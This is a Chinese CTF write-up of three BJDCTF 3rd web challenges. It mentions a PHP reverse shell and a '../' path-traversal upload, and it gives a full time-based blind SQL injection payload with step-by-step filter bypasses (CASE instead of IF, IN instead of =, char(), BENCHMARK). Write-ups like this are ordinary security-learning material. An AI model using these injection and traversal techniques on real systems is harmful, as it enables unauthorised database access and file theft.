BJDCTF 3rd-小知识点

今天也是被题目暴打的一回呢(,只出来两道题,有大量的时间浪费在了多人运动的注入上…

小红花

很简单,因为shell_exec不会输出返回值(准确来说会返回一个字符串,但不会直接打印在浏览器上)。所以直接尝试反弹shell。这里用php反弹shell成功。
后来听说有防火墙ban了一些端口,运气好直接找到了没ban的(((

gob

在上传完文件后会设置一个phpsessid,再访问show.php会出现刚才上传的图片(data://base64的形式)。base64_decode(phpsessid)后发现里面含有上传文件的路径。故尝试上传一个../../../../flag(有多少个../我忘了)的文件。实现目录穿梭,得到flag。
PS:我最开始是以为要去解析那个phpsessid,尝试对其进行修改…结果完全不知道后面的hash值是怎么来的,最后发现做麻烦了

多人运动

做了很长时间也没有做出来…看到那个hint以为是表名有东西…
首先是如何进行注入,可以看到服务器读取的数据会根据by参数进行排序,猜测是order by注入,首先排除联合注入
以下是我的payload:

http://x.x.x.x:xxxxx/?by=desc,(SELECT (CASE WHEN (select left((select group_concat(database_name) from mysql.innodb_table_stats),11)in(concat(char(109),char(121),char(115),char(113),char(108),char(44),char(115),char(121),char(115)))) THEN BENCHMARK(999999999,md5(1)) ELSE 1 END))

详解:
$payload = desc,(SELECT (CASE WHEN $a THEN $b ELSE 1 END))
题目过滤了if,故使用case进行绕过

$a = (select ($a_1)in($a_2))
因为题目过滤了 =<>like 所以使用in来替代

$a_1 = left($a_1_1,11)
题目过滤了大多数字符串切割函数,可以使用left和right来绕过
PS:看出题人同时使用left和right来达到提取单个字符的作用,这一点我没想到...如:right(left(xxx,3),2)

$a_1_1 = (select group_concat(database_name) from mysql.innodb_table_stats)
这里因为过滤了or和sys,没法提取表名,故尝试用mysql.innodb_table_stats来绕过,但这形成了一个大坑

$a_2 = concat(char(109),char(121),char(115),char(113),char(108),char(44),char(115),char(121),char(115))
这里因为单使用left提取出来的是字符串不是单个字符,而char函数没有ban,故使用上面的方式组合字符串
PS:除了char以外还有unhex; conv;函数可以用,不过char更简单一些

$b = BENCHMARK(999999999,md5(1))
题目过滤了sleep,使用BENCHMARK多次执行一个操作

然而这道题最终没能解出来的原因是使用了mysql.innodb_table_stats这个坑
诚然,innodb在默认情况下是关闭的,但不代表它不作用。
在其关闭的情况下使用mysql.innodb_table_stats查询,不会为空,而是能查出来mysql默认的两个库mysql和sys,其它库不能查到,表名同理。
而我以为…如果关闭了innodb,整个innodb_table_stats是空,没有数据的(
最终导致我这道题没有做出来…

后言

因为花费了大量的时间在多人运动这道题上,其它的题没有看,待复现环境出来再说吧…
PS:我菜炸了(

Comments